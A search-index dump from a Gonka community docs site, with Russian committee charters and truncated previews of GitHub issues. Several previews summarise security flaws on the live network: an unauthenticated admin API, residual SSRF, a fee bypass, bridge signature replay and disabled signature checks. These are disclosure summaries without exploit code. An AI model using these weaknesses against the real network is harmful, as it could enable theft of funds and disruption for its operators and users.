Ответственный: @paranko
"}, {"location": "community/gonka%20product%20committee/#_3", "title": "Фокус оценки", "text": "Комитет в первую очередь смотрит на инициативы, которые:
Для оценки используется Proposal Scoring Framework v1 — первая версия фреймворка для продуктовых и технических пропозалов. По итогам рассмотрения комитет публикует заполненную оценку в каналах сообщества и направляет её хостам.
"}, {"location": "community/gonka%20product%20committee/#_5", "title": "Формат работы", "text": "Контрибуторы: - @ak986 - @qDanik - @dem_ww - @baridoka
Хосты: - @akamitch - @MageDeFi - @OpenMindedPerson - @Otli4nik_A - @votkon - @maksimenkoff - @SysManHF - @paranko
"}, {"location": "community/gonka%20restitution%20committee/", "title": "Gonka Restitution Committee", "text": ""}, {"location": "community/gonka%20restitution%20committee/#the-problem", "title": "The Problem", "text": "Therefore, I propose forming a compensation committee that:
If you have the opportunity and desire to be part of the committee — please confirm your participation.
Основатель: @votkon
"}, {"location": "community/governance%20support%20committee/", "title": "Governance Support Committee", "text": ""}, {"location": "community/governance%20support%20committee/#_1", "title": "Роль комитета", "text": "Комитет поддержки самоуправления является сервисным комитетом.
Его задача — помогать делать governance процесс понятным, прозрачным и удобным для авторов пропозалов, хостов и сообщества.
Комитет не является политическим, продуктовым или лоббистским органом.
Комитет не делает оценочных суждений о качестве пропозалов, их содержании, авторах и результатах исполнения.
Роль комитета — поддерживать процесс, а не формировать мнение сообщества или хостов.
"}, {"location": "community/governance%20support%20committee/#_2", "title": "Задачи комитета", "text": "Auto-sync: this document is automatically synchronized from Google Docs every hour. Direct edits in the repository will be overwritten.
"}, {"location": "community/governance%20support%20committee/regulation/#_1", "title": "Устав Комитета поддержки самоуправления", "text": ""}, {"location": "community/governance%20support%20committee/regulation/#1", "title": "1. Роль комитета", "text": "Комитет поддержки самоуправления является сервисным комитетом.
Его задача - помогать делать governance процесс понятным, прозрачным и удобным для авторов пропозалов, хостов и сообщества.
Комитет не является политическим, продуктовым или лоббистским органом.
"}, {"location": "community/governance%20support%20committee/regulation/#2", "title": "2. Нейтральность", "text": "Комитет не делает оценочных суждений о качестве пропозалов, их содержании, авторах и результатах исполнения.
Комитет не определяет, является ли пропозал хорошим или плохим, полезным или вредным, качественно или некачественно исполненным.
Роль комитета - поддерживать процесс, а не формировать мнение сообщества или хостов.
"}, {"location": "community/governance%20support%20committee/regulation/#3", "title": "3. Задачи комитета", "text": "Комитет может заниматься:
помощью с подготовкой и запуском on-chain голосований;
помощью авторам со списком каналов, где стоит разместить информацию о пропозале;
координацией анонсов в чатах, на порталах и в community-каналах;
организацией AMA для авторов пропозалов;
контролем предоставления публичных отчетов;
отслеживанием сроков и next steps, которые были публично заявлены или оговорены в принятом пропозале;
информированием хостов и сообщества о текущем статусе пропозалов.
Комитет работает на основе:
нейтральности;
прозрачности;
публичной коммуникации;
равного отношения к авторам пропозалов;
саморегулирования через внутренние голосования.
Комитет является саморегулирующимся.
Внутренние решения принимаются голосованием членов комитета.
Каждый член комитета имеет один голос.
Голосование считается состоявшимся, если в нем приняли участие не менее 1/3 от общего числа членов комитета.
Стандартный срок голосования составляет 24 часа.
Голосование может быть завершено раньше, если один из вариантов набрал достаточное количество голосов и итог уже не может измениться с учетом оставшихся голосов.
Решение считается принятым, если за него проголосовало простое большинство участвующих в голосовании членов комитета.
"}, {"location": "community/governance%20support%20committee/regulation/#_2", "title": "Вопросы:", "text": "Что является главным продуктом комитета? Что мы должны получить на выходе и как поймем, что комитет выполнил свою роль? Например: пропозал готовый к голосованию хостов - понятный, оформленный по стандарту, публично представленный сообществу и хостам, а принятый пропозал - отслеженный до результата с отчетами. Варианты можно еще накидать. Также будет множество подпродуктов у комитета - промежуточные результаты. Но главный продукт должен быть какой-то один, то что является конечным результатом всей деятельности комитета.
Как мы можем измерить главный продукт, посчитать его? Какими способами? Хорошо бы применить к подсчету еще и чек-лист проверки пропозала, который выкатили на голосование (соответствует нашему продукту или нет, засчитываем себе в заслуги или нет).
Устав и границы: процесс vs оценка.
Пайплайн proposal от идеи до голосования.
Первое окно: куда писать и кто отвечает.
Роли внутри комитета.
Dashboard + отчётность по уже профинансированным proposal.
"}, {"location": "community/issues/", "title": "GitHub Issues —gonka-ai/gonka", "text": "All issues from gonka-ai/gonka. Total: 315 (🟢 open: 68, 🔴 closed: 247). Updated: 2026-07-26 07:09 UTC.
## Model lineup improvement: add an accessible GLM-5.2 candidate and reconsider the default model ### Problem At the moment, the network appears to have very limited active capacity for `GLM-5.2`....
enhancement @enonog opened 1 day ago 3Reporting two verified defects in the dynamic-pricing keeper. Everything below was checked against tag `release/v0.2.13` (the mainnet chain version) and against live mainnet state via `node3.gonka.ai`...
@len5ky opened 1 day agoWhile reviewing this PR: https://github.com/gonka-ai/gonka/pull/1460 I have found couple of problems/tasks, and listed them at PR comment https://github.com/gonka-ai/gonka/pull/1460#issuecomment-50017...
@a-kuprin opened 2 days ago 1**Operator** Ancapex — mining platform for Gonka (https://ancapex.ai/) Contact: About Ancapex Ancapex is a platform for mining on the Gonka Network. Launched as a... @alancapex opened 3 days ago 2
```markdown Hi Gonka core team & community, Requesting inclusion of our escrow creator address in `devshard_escrow_params.allowed_creator_addresses` to operate a self-hosted devshard gateway. ## Esc...
@nikshh opened 3 days agoThe goal of this is to have in place after this a standard way of handling possible overflows, have it implemented consistently across the entire codebase and to have a check (preferably a static chec...
Priority: Medium nice-to-have @tcharchian opened 4 days ago 6The framing is simple: you can prepare any container, it will run across different GPUs in the network, a protocol layer will coordinate interaction between nodes, they will perform training, and then...
Priority: High @tcharchian opened 4 days ago 6## Operator - **Name:** Nikita Knyazev - **GitHub:** [@knyazev741](https://github.com/knyazev741) - **Project:** Knyazev AI / self-hosted agent infrastructure - **Contact:** via this GitHub issue ##...
@knyazev741 opened 5 days ago 3See #913 Once research is finished and we agree on a decision, we'll update this issue with the implementation steps.
devshards @dcastro opened 5 days ago 1With the upgrade 0.2.11, we can stress test and benchmark subnets in test environments. We should write a benchmark harness for this. Gonka has 3 testnets with 10 different accounts that we can use.
Priority: High devshards @dcastro opened 6 days ago 2The gateway forces logprobs upstream for validation, but clients who never asked for logprobs should not see them in the response (OpenAI-compatible default). Clients who explicitly set `logprobs: tru...
enhancement @a-kuprin opened 6 days ago 1In #891 we're making the proxy server handle timeout-related mechanisms. We should write end-to-end testermint tests for these mechanisms. The proxy server should allow configuring the deadline limi...
Priority: High devshards @dcastro opened 6 days ago 2During review of https://github.com/gonka-ai/gonka/pull/1143 there was found optimization points for db usage: 1. Do not lock around `createSession` (https://github.com/gonka-ai/gonka/pull/1143#discu...
@akup opened 6 days ago 1## Summary **Residual SSRF** after prior paid mitigations (v0.2.7 / v0.2.8): | Prior fix | What it covered | What remains broken | |-----------|-----------------|---------------------| | [PR #534](h...
@Aphelios01-sdk opened 6 days ago 2## Summary The devshard gateway (`devshardctl`) rejects standard OpenAI-format `role:\"tool\"` messages for MiniMax-M2.7 with an HTTP 400, when their `content` is a plain string (the most common and sp...
@Ryanchen911 opened 6 days ago 1## Summary On-chain policy disables **executor** signature verification on both Start-first and Finish-first paths. Payment-critical `CompletionTokenCount` / `PromptTokenCount` come from `MsgFinishIn...
@Aphelios01-sdk opened 8 days ago 1## Summary `NetworkDutyFeeBypassDecorator` allows zero-fee transactions when all messages are “network duty” types, with `GasCap: 3_000_000_000`. That is far above documented ~100M batch sizes and en...
@Aphelios01-sdk opened 8 days ago 1## Summary Two related issues in `MsgClaimRewards` integrity: ### A) `ClaimValidationEnabled` defaults to `false` (also forced false in upgrade v0.2.11) When false, `validateClaim` (seed check + mi...
@Aphelios01-sdk opened 8 days ago 1## Summary The decentralized-api **admin** server (`/admin/v1/*`) registers routes with **only** logging middleware — no authentication. `GET /admin/v1/config` returns the **unsanitized** live conf...
@Aphelios01-sdk opened 8 days ago 1Review the existing reproducible / deterministic sampling work for inference validation and prepare a careful path toward adding it to MLNode versions. This task is related to the known inference val...
up-for-grabs @tcharchian opened 10 days ago 5Gonka’s visibility as a solution for decentralized storage should be promoted more widely. To an outside observer looking at Coingecko, it seems rather uninteresting, since, for example, only 233 hod...
enhancement @gordonfrost00-cloud opened 15 days ago 2## Operator - Name: Viacheslav Nikitin - Contact: via GitHub issue replies ## Intended creator address `gonka1qh620unjez7552csz9mklhjjtl9p7ty5vpznag` ## Models to serve - MiniMaxAI/MiniMax-M2.7 - (o...
@scodeit opened 15 days ago 3Discord: jack.maguli Creator address to allow-list: gonka127szvy0fnscx03jjejmf6ednj6dezercldzzz4 Models we plan to serve: MiniMaxAI/MiniMax-M2.7, moonshotai/Kimi-K2.6, zai-org/GLM-5.2-FP8 Background...
@jack-maguli opened 15 days ago 1## Summary `withdraw()` and `mintWithSignature()` in `BridgeContract.sol` accept signatures from **any historical epoch** as long as the epoch's group key has not been cleaned up by `_cleanupOldEpoch...
@Doog-bot534 opened 16 days ago 2## Problem On **gonka-testnet-4**, epoch 15 settlement zeroed all participant weights and cascaded into epochs 16–20 with `total_weight=0` and no active epoch members. Chain logs at settlement (bloc...
@maria-mitina opened 17 days ago 1## Summary Systematic security audit covering four major components of the Gonka network. Found **1 Critical, 5 High, 10+ Medium** severity issues across the codebase. Fix PRs submitted for the top 3...
@Doog-bot534 opened 17 days ago 3## Operator Victor Yuritsyn — independent operator Contact: GitHub @yuritsin-code ## Address gonka1calhwf505afx0aeeuzjsraw0y3wvak06gklee2 ## Models - MiniMaxAI/MiniMax-M2.7 - moonshotai/Kimi-K2.6...
@yuritsin-code opened 18 days ago 2## Summary Upgrade simulation (paused only the Gonka `node` container which halts the chain) while bridge (Geth) and `api` stay up. Inbound bridge deposits are detected and queued on unpause, but **v...
bug Priority: High @maria-mitina opened 18 days ago## Summary - Introduces a governance-controlled minimum gas price (`FeeParams.min_gas_price`) enforced at consensus level via a custom `TxFeeChecker`, replacing the current `nil` fee checker that all...
Priority: Medium @tcharchian opened 18 days ago 1## Summary When an outbound `RequestBridgeMint` BLS request reaches terminal **`EXPIRED`** (threshold not met), the chain emits `inference.bls.EventThresholdSigningFailed` but **does not** auto-refun...
@maria-mitina opened 18 days ago 2## Summary The Ethereum bridge README currently documents the mint/withdraw `messageHash` format without the `address(this)` bridge contract field, while the actual contract source includes it. A fi...
@Ryanchen911 opened 18 days ago 4Is this how our story began in your previous project where your name was Natalia? I would like to ask, can Mikhail Chudinov come out to play? The one who is a DevOps engineer at NameSilo, formerly He...
@phishdestroy opened 19 days ago 2## Summary During **gonka-testnet-4** experiments on host **702111**, a long streaming chat through the devshard **gateway** (`POST http://127.0.0.1:18080/v1/chat/completions`) was started while all...
bug @maria-mitina opened 20 days ago 2Hi @tcharchian — follow-up to #1319, where you recommended OpenBroker as the official developer path (\"GNK-settled, 1:1 at cost, no markup, no approval wait\"). I took that advice, and I'm reporting wh...
@dufok opened 20 days ago 2## Operator Nichita R. — independent developer Contact: GitHub @niro58 ## Address gonka142rw2k5qwh3rxm774z56uzcgfyqfnnclqewr36 ## Models - MiniMaxAI/MiniMax-M2.7 - moonshotai/Kimi-K2.6 ## Use ca...
@niro58 opened 21 days ago### Discussed in https://github.com/gonka-ai/gonka/discussions/951 Originally posted by **mtvnastya** March 25, 2026 # TEE This proposal outlines the... up-for-grabs protocol @tcharchian opened 21 days ago 3
### Summary Several official surfaces document a **self-serve, no-broker** end-to-end inference flow (own GNK account + private key → signed request → completion) as if it works. In practice, a funde...
@dufok opened 22 days ago 7Hi Gonka core team & community, We're requesting inclusion of Gonka Relay as a Gonka broker: adding our on-chain address to `devshard_escrow_params.allowed_creator_addresses` and listing alongside th...
@len5ky opened 23 days ago 1Request to add my address to devshard_escrow_params.allowed_creator_addresses for a self-hosted gateway. Address: gonka1a02jacrjca02f0805v9kpx0h2axjdfxx4vmwls Pubkey: A3X9+ooArJ8UyJX1WpvhnH7JFBcU6Orb...
@GERAunits opened 23 days ago 1## Summary When a threshold signing request reaches COMPLETED, the inference BLS hook calls `CleanupBridgePendingRefundByBlsRequestID` to remove pending bridge refund state. If this cleanup persiste...
@Ryanchen911 opened 24 days ago 4At the moment, `devshards` handle hosts' warm keys in a non deterministic way. Different hosts can check whether a warm key is authorized at different points in time, using the mainnet bridge, and th...
Priority: High devshards @dcastro opened 25 days ago 1## Summary **Today `subnetctl` does not surface many host-side failures during inference.** When the HTTP call to the executor fails (for example **403 Forbidden** with `sender not in group`), the pr...
Priority: Low @akup opened 25 days ago 1## Summary Manual reproduction of **Scenario A** (coordinated `node` halt with `bridge` + `api` kept running) on **gonka-testnet-4** with a live **Sepolia USDT** inbound deposit. Result: **FAIL** — d...
@maria-mitina opened 26 days ago 2## Goal / Problem Current MLNode registration in the API service requires three static parameters: - Static IP address - PoC port (management API, default 8080) - Inference port (vLLM inference API,...
Priority: Low @gmorgachev opened 28 days ago 6Hi Gonka Core Team and Community, We would like to formally request the inclusion of the Gonka24 gateway in the public broker list. Gonka24 is being developed as a gateway focused on providing reliabl...
@anikiyevichm opened 29 days ago 5## Summary `go test ./cmd/devshardctl/ -race -run TestRunInference` fails on current `main` (8bd883ba3) with 15 data race reports across 13 tests. The dominant race (11 of the 15 reports) has producti...
@redstartechno opened 29 days ago 3Currently devshard `SessionConfig` has a lot of hardcoded values. They should be settable on new escrow start from mainnet, and should be configurable by governance. For example https://github.com/go...
Priority: Low @akup opened 29 days ago 1Improve onboarding experience: - [ ] Clearer logging when node is launched and waiting for PoC - [ ] remove errors which doesn’t mean errors - [ ] automatic testing that everything will work when Po...
@tcharchian opened 2026-06-24 4This is a future task. A detailed description will be provided in the near future. Please do not start working on this task without the detailed specification, as it may turn out to be a different di...
@tcharchian opened 2026-06-24 1The task was completed by Aleksandr @a-kuprin here: https://github.com/gonka-ai/gonka/pull/994 However, it was submitted from his previous account, which is currently blocked, so the PR is not access...
Priority: Low @tcharchian opened 2026-06-24Review what’s currently stored, identify any leftovers, and remove them.
Priority: Medium @tcharchian opened 2026-06-24 1Open for community contributors. Multiple parallel efforts in this direction are welcome to explore different approaches and accelerate progress.
up-for-grabs Priority: High @tcharchian opened 2026-06-24 2Hi Gonka core team & community, ## Context We previously opened an issue requesting inclusion of our address in `devshard_escrow_params.allowed_creator_addresses` to run our own devshard gateway. A...
@Puyre opened 2026-06-23 1## Summary I am building an OpenAI-compatible reliability gateway for Gonka-hosted models, starting with `moonshotai/Kimi-K2.6`. The goal is to make Gonka-hosted models practically usable for develo...
@sspotanin opened 2026-06-23 1**Operator name and contact (email or Discord handle).** 1kor.oleg@gmail.com @unixverse_cli **Public endpoint URL of your gateway.** no public endpoints because its for run own gateway purpose **Go...
@Korolev-Oleg opened 2026-06-23 1Hi Gonka team & community, I'm requesting inclusion as a Gonka broker and inclusion of our address in the devshard creator allow-list. Operator: Daniel Contact: Discord @labdalab, Telegram @That_met...
@olkwwuah opened 2026-06-23 1name: Andrei company: Lunaro project: Lunaro Gonka Gateway github: @bruev Gonka address: gonka1yfr6fcatj5hvx25ucy7uswwsdzdw7aql4uhug3 Models: Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 Purpose: Self-hoste...
@bruev opened 2026-06-23 1Hi Gonka team, Requesting to join the Gateway allowlist. We are a bootstrapped startup studio building AI agents and automation tools. We are exploring decentralized AI infrastructure and would like...
@appgencore opened 2026-06-23 1Hi Gonka core team & community, We're requesting inclusion of the OpenGonka gateway in the public broker list Project: OpenGonka Contact: [info@gonkakeeper.com](mailto:info@gonkakeeper.com) — Disco...
@piterberkut opened 2026-06-23 2The proposal is described here https://github.com/gonka-ai/gonka/blob/22639fe25aada8090d971402e136714fa9c3b0e7/proposals/maintenance-windows/maintenance-windows.md The preliminary implementation plan...
enhancement @tcharchian opened 2026-06-22 3🐞 [BUG] Node Registration Cannot Update After Migration (stuck on old on-chain state; diff returns no changes) Summary After migrating the ML inference server to new infrastructure and switching from...
@Asplana92 opened 2026-06-11 2Independent re-check of the VLM inference and validation results reported in #1026 before they are used for protocol, model onboarding, or host-facing decisions. The goal is not to redo the full rese...
up-for-grabs @tcharchian opened 2026-06-11 7# Request to be added as a Gonka gateway operator (devshard creator allowlist) Hi Gonka core team & community, We're requesting inclusion of our on-chain address in `devshard_escrow_params.allowed_c...
@Puyre opened 2026-06-10 1# Proposal: Enable Cosmos SDK Simulation and Fuzz Testing for `inference-chain` ## Summary `inference-chain` should make Cosmos SDK simulation and fuzz-style state exploration a near-term engineerin...
up-for-grabs @patimen opened 2026-06-06 7## Summary `PayParticipantFromModule` in `x/inference` hardcodes `types.ModuleName` (`inference`) when calling `streamvesting.AddVestedRewards`, instead of forwarding the caller-provided `moduleName`....
@Schwartz10 opened 2026-06-04 2@GLiberman @gmorgachev please evaluate how viable this solution would be. Current issue with wallet connections: At the moment, wallets can be configured to use only a single address. If that address...
@tcharchian opened 2026-06-04 7## Summary Around **2026-03-10 20:28 UTC**, I followed the public Developer Quickstart flow on mainnet using a funded account and observed that inference requests signed using the public Gonka SDK se...
@junior2wnw opened 2026-06-03 13#1101
@x0152 opened 2026-06-02 1As described in https://github.com/gonka-ai/gonka/issues/914#issuecomment-4090483233, we want to limit the amount of inferences that can be done in a `devshard`, as a way of limiting the amount of dam...
enhancement devshards @dcastro opened 2026-06-01 1## Summary `expireInferences` (`inference-chain/x/inference/module/module.go:226-234`) filters by `Status == STARTED` only. When a failing `MsgValidation` transitions an inference to `VOTING` and the...
@vitaly-andr opened 2026-05-30 5## Question `refundInvalidatedInference` ([`x/inference/keeper/msg_server_invalidate_inference.go:64-79`](https://github.com/gonka-ai/gonka/blob/main/inference-chain/x/inference/keeper/msg_server_inv...
@vitaly-andr opened 2026-05-29 1Connect the Gonka website to Gonka itself and run documentation translation online through the network. The idea is that Gonka documentation would be maintained only in English as the single source of...
@tcharchian opened 2026-05-29 1# x/inference: revalidation vote fails when voter absent from epoch x/group ## Summary `MsgValidation{Revalidation:true}` for an inference whose VOTING window is still open fails with `voter address...
@vitaly-andr opened 2026-05-28When cross-message comparison detects a mismatch in TA-signed components (`prompt_hash`, `request_timestamp`, `transfer_agent`, `executor`), the Transfer Agent should be penalized. ### Context Curre...
@DimaOrekhovPS opened 2026-05-25## Problem `devshard/storage` is sqlite-only today (`storage/sqlite.go`, `modernc.org/sqlite`). Running production devshards on embedded sqlite is the wrong default: - Every `devshardd` instance hol...
@akup opened 2026-05-25 3Hi Gonka core team & community, I'm requesting inclusion as a Gonka broker and inclusion of my address in the devshard creator allow-list. Operator name: Daniel / LabdaLab Contact: Discord: @labdala...
@olkwwuah opened 2026-05-24# PoC-decode: Extending Proof-of-Compute to Decode Steps ## Summary The current PoC procedure only validates the prefill step, but in real inference the majority of computation happens during decode...
enhancement @Red-Caesar opened 2026-05-23 5## WHAT DOES TRAINING ON GONKA MEAN? Being able to train frontier-level models is an important long-term goal to make AI fully independent of centralized datacenters. ## What decentralized training i...
up-for-grabs Priority: High @tcharchian opened 2026-05-21### Dev signature Currently signs: `original_prompt_hash + timestamp + ta_address`. Add `model` to prevent a TA or executor from redirecting the inference to a different model after the developer si...
@DimaOrekhovPS opened 2026-05-21 2## Summary `POST /v1/chat/completions` on the only currently-reachable Transfer Agent (`node3.gonka.ai`) returns `HTTP 429 \"rate limit exceeded\"` for ~90% of requests, regardless of caller IP, key, o...
@unameisfine opened 2026-05-21 2## Summary In the [`gonka-ai/cosmos-sdk`](https://github.com/gonka-ai/cosmos-sdk) fork, the jailed branch of `markValidatorForDeletion` (`x/staking/keeper/compute.go:559-563`) immediately deletes the...
@vitaly-andr opened 2026-05-20Independently review and re-check the PoC-decode approach from https://github.com/gonka-ai/gonka/issues/1135 and the Axel-T experiments. Current PoC correlates reasonably well with inference compute,...
up-for-grabs @tcharchian opened 2026-05-19## Summary As of 2026-05-17T06:10:54Z, public monitoring shows zero available Kimi-K2.6 gateways, even though the chain still lists Kimi hosts. ## Observed From `https://gonka.pw/providers`: ```te...
@sspotanin opened 2026-05-18 1# Governance dashboard: Differend numbers in panel and chart ## Summary http://gonka.spv.re:8000/dashboard/gonka/gov/51 On tab Votes, i put mouse over chart and see that numbers Yes\\No\\Veto\\Abstain...
bug @akamitch opened 2026-05-15independent of upgrade, to do before bridge deploy
@tcharchian opened 2026-04-29DeterministicFloat, ShouldValidate, and penalizeUnrevealedSeeds use float64 and math.Ceil. Floating-point arithmetic is not deterministicacross architectures and can produce different results on dif...
Priority: High devshards @Brgndy25 opened 2026-04-29 1Context: https://github.com/gonka-ai/gonka/issues/914#issuecomment-4090483233 * Calculate and charge fee for `devshards` * Initial impl: create_fee + max_nonce * fee_per_nonce * Reasoning...
Priority: High devshards @dcastro opened 2026-04-29 1Currently, the design for `devshards` requests a list of all hosts signatures for the settlement transaction. To reduce the transaction size, we'd like to investigate and implement an aggregated BLS s...
Priority: Low devshards @heitor-lassarote opened 2026-04-29 2## Summary Three related bugs in subnet escrow settlement and pruning code (v0.2.11): ### 1. Fund loss in unsettled escrow pruning (Medium) `distributeUnsettledEscrow` (subnet_pruning.go) silently...
@unameisfine opened 2026-04-29 2See #896 # Research * [Applicability of Aggregated BLS Signatures](https://serokell.notion.site/Applicability-of-Aggregated-BLS-Signatures-31a6c9c166b380b49068d5574277dfd8)
Priority: Low devshards @dcastro opened 2026-04-29 1## Summary State sync fails for all available snapshots (2309000, 2310000) - the last 2 chunks (826-827 out of 827) are either corrupted or unavailable, causing nodes to crash with IAVL store panic....
@baranskyi opened 2026-04-29 5## Summary In `msg_server_claim_rewards.go`, when `PayParticipantFromEscrow` or `PayParticipantFromModule` returns an error, the function logs the error and continues processing instead of returning t...
enhancement @Mayveskii opened 2026-04-28 5Hello, I need help with a validator consensus key mismatch on Gonka mainnet. Participant: gonka1dll7aqkqleqt8s363fx2s3versn3r3c0zt3vj0 Current situation: - staking still expects old consensus key:...
@krizis-sila opened 2026-04-28 1# 🐛 Bug Report: Incorrect Governance Model Matching in API **Severity:** Medium **Category:** Bug Discovery + Improvement Proposal **Bounty Program:** Yes ([Discord Announcement](https://discord....
@Asplana92 opened 2026-04-28 2When inference for unsupported message requested, system returns: \"HTTP/1.1 402 Payment Required\"
@gmorgachev opened 2026-04-28 5We're distributing inference requests on the chain based on the total weight of the participant, not the weight of the participant's mlnode for a specific `model_id`. Seems like it's easy can be the c...
@tcharchian opened 2026-04-28 4## Summary `NewBlsManager` stores `context.Background()` as a struct field `bm.ctx`. This means two gRPC calls in the DKG dealer path run without any timeout and cannot be cancelled on node shutdown....
@Mayveskii opened 2026-04-28 1## Summary Follow-up deep audit to #1053, focusing on **logic bugs, economic attacks, and protocol-level vulnerabilities** that require understanding business logic — not surface-level input validati...
@Doog-bot534 opened 2026-04-28 1## Summary Found several bugs during code review of `x/inference/keeper/`: ### 1. Non-deterministic gRPC query responses (consensus risk) Three query handlers iterate Go maps and return results dir...
@unameisfine opened 2026-04-27 1## Description Found three minor safety issues during code review: ### 1. Non-deterministic `GetAllModelPerTokenPrices` response **File:** `inference-chain/x/inference/keeper/query_dynamic_pricing....
@unameisfine opened 2026-04-27 1## Description `calculateRequiredCollateral` (collateral.go:53) correctly validates that `baseWeightRatio` is in the range [0, 1): ```go if err != nil || bwr.IsNegative() || bwr.GTE(math.LegacyOneDe...
@unameisfine opened 2026-04-27 3# Title VLM inference and validation in Gonka ## Summary Test the possibility of VLM serving validation, add the necessary tools ## Motivation Gonka already employs validation of token sequences gener...
enhancement @fedor-konovalenko opened 2026-04-27 3**Problem** The Merkle tree–based off-chain PoC commit approach is already being implemented as an urgent, short-term solution. - https://github.com/gonka-ai/gonka/blob/dl/v0.2.8-poc-v2-offchain/pro...
@tcharchian opened 2026-04-23 1When querying a non-existent wallet via `GET https://node3.gonka.ai/v1/participants/{address}` the API currently returns a 500 Internal Server Error. Expected Behavior If the wallet is not found, the...
@tcharchian opened 2026-04-22 1Implement automatic cleanup of propagation data (bundles and proofs) from old epochs to prevent unbounded storage growth. **Behavior:** - When entering epoch N, delete all propagation data from epoch...
@slandymani opened 2026-04-22 1As described in https://github.com/gonka-ai/gonka/issues/914#issuecomment-4090483233, we want to: * Distribute `WorkCoins` at the end of the epoch, instead of upon settlement. * Take `devshards` stat...
enhancement devshards @dcastro opened 2026-04-21 1## Summary A floor vs. ceiling inconsistency in `decimalToPermille` causes the dynamic p0 selection and the actual binomial test to use **different p0 tables**. Validators who should be punished unde...
@Doog-bot534 opened 2026-04-20 2A detailed description will be provided by @gmorgachev later on. https://github.com/gonka-ai/gonka/tree/gm/multi-models/proposals/multi-model-poc
Priority: High @tcharchian opened 2026-04-16 1- [x] on-chain params to choose option - [x] MLNode support - [x] way to monitor it
Priority: Medium @tcharchian opened 2026-04-11 1- [x] GEB-01 | Discussion on Unpaired Burn/BurnFrom on Wrapped Supply in `wrapped-token` Contract - [x] GEB-02 | Discussion on `UpdateMetadata` that Modifies Decimals - [x] GEB-28 | Discussion on Dono...
Priority: High @tcharchian opened 2026-04-11## [P1] Consensus audit - [x] GOC-02 @patimen https://github.com/gonka-ai/gonka/pull/1011 - [x] GOC-03 @patimen https://github.com/gonka-ai/gonka/pull/1011 - [x] GOC-23 @patimen https://github.com/g...
@tcharchian opened 2026-04-10# Problem Much of the Gonka system depends on funds being moved in and out of \"escrow\", which is stored in the types.ModuleName (\"inference\") account (the \"module account\"). Payments for inferences ar...
Priority: Low @tcharchian opened 2026-04-10 4- [x] GEB-11 | `InstantiateMsg.marketing` Is Ignored - https://github.com/gonka-ai/gonka/pull/814 - [x] GEB-50 | Unused Function `computeParticipantPublicKey()` in `bls_crypto.go` https://github.com/g...
Priority: Medium @tcharchian opened 2026-04-09- [x] GEB-06 | Known Security Issue in Upstream Dependencies - https://github.com/gonka-ai/gonka/pull/675 - [x] GEB-07 | Weak Address Validation in `withdraw()` in `wrapped-token` Contract - https://g...
Priority: High @tcharchian opened 2026-04-09- [x] GEB-04 | Incorrect Signing Threshold in `checkThresholdAndAggregate()` - #822 - [x] GEB-05 | Native Denom Auto-Detection Can Be Misconfigured in `community-sale` Contract - https://github.com/g...
Priority: High @tcharchian opened 2026-04-09 1- [x] GEB-03 | Duplicate Slot Indices Inflate Threshold Coverage - #822 - [x] GEB-12 | Dealer Commitments Not Bound to Threshold Degree - #822 - [x] GEB-29 | Weak Dealer Approval Enables Threshold S...
Priority: High @tcharchian opened 2026-04-09- [x] GEB-54 | Centralization Risks in Smart Contracts https://github.com/gonka-ai/gonka/pull/987
Priority: High @tcharchian opened 2026-04-09Set up IBC channels between Gonka and the chains for USDC (Injective) and USDT (Kava) so that IBC transfers work for these assets.
Priority: High @mtvnastya opened 2026-04-08## Background I've been going through the whitepaper and PoW security analysis to understand whether consumer GPUs in the ~16 GB VRAM range (RTX 5060 Ti, 5070 Ti, 5080, 5090, etc.) have a realistic p...
@JFFby opened 2026-04-08Provide a minimal but verifiable example that demonstrates Gonka’s inference capability via standard OpenAI-compatible endpoints, suitable for validation and review by openrouter.ai. We need to run a...
@tcharchian opened 2026-04-08 3We should write testermint tests to ensure that inference validations in `devshards` work as expected. Such tests already exist for mainnet, but we should reimplement them according to the `devshards`...
Priority: High devshards @heitor-lassarote opened 2026-04-07 3# Inference Request Processing: Security Architecture and Fix ## Overview This document explains the 2-phase inference request processing system and the security enhancement that prevents unauthoriz...
Priority: Low @akup opened 2026-04-04 4decentralized-api rejects valid Cursor/OpenAI chat requests where messages[].content is an array of text parts instead of a plain string. The request fails during request parsing on TA/executor becaus...
@tamazgadaev opened 2026-04-03 4# Validation Eligibility and Accounting Consistency Work on Inferences and Validations on current version is now legacy. All future work will be concentrated on devnets (shardchains). This PR shouldn...
bug enhancement @akup opened 2026-04-03 1**Locations:** - https://github.com/gonka-ai/gonka/blob/82c43a42c3c2f49b56ee8a32e6458480daf39ca9/inference-chain/x/bls/keeper/phase_transitions.go#L169-L169 - https://github.com/gonka-ai/gonka/blob/8...
Priority: High @tcharchian opened 2026-04-02 4## Tasks - [ ] Calculate what the fee on `devshards` should be for different `devshard` sizes - [ ] Decide what we're going to implement - [ ] Implement: (tentative plan) * Calculate and charge f...
Priority: High devshards @dcastro opened 2026-04-02 3In the current implementation of the \"refused timeout\" workflow, we seem to rely on all hosts having seen the inference's `MsgStartInference` before the user calls for a vote. If a user calls for a vo...
devshards @dcastro opened 2026-04-01At the moment, the proxy server in `/subnet/cmd/subnetctl` handles 3 types of actions: chat completions (with diff propagation), finalizing `devshards`, and querying the `devshards` status. It should...
devshards @dcastro opened 2026-04-01 2## Problem Nodes with consistently high miss rates (wrong answers, timeouts) remain in the executor pool for the entire epoch. There is no mid-epoch mechanism to stop routing client inference request...
@mingles-agent opened 2026-03-31 1## Bug `GET /api/v1/epochs/{N}/participants` returns **500 Internal Server Error** for past epochs. Current epoch works fine. ## Repro ``` GET http://node1.gonka.ai:8000/api/v1/epochs/215/participa...
@mingles-agent opened 2026-03-31Currently, the chain requires a Participant record not only to host, but also to send inference requests. There is no real reason for this, since the public key is available in the Account record afte...
@tcharchian opened 2026-03-30 4## Problem The SPRT-based deactivation (`getInactiveStatus`) is the existing mechanism for removing degraded nodes from the executor pool. It is statistically sound but **slow by design** — it requir...
@mingles-agent opened 2026-03-27 1@tamazgadaev, could you please provide a detailed description?
@tcharchian opened 2026-03-26 1We want the main state endpoint to also expose PoC-related information required by the next vLLM PoC, so that vLLM can rely on a single source of truth. Also poc v1 should be removed.
Priority: Low @IgnatovFedor opened 2026-03-25Related to #876. Three gRPC response accesses in `post_chat_handler.go` lack nil guards, causing runtime panics when chain RPC is slow or partially responsive: 1. **`enforceDeveloperAccessGate`** (l...
@unameisfine opened 2026-03-25 1## Description Found three safety issues in the bridge module during code audit: ### 1. Lexicographic string comparison for block numbers (Medium) **File:** `x/inference/keeper/bridge_transaction.g...
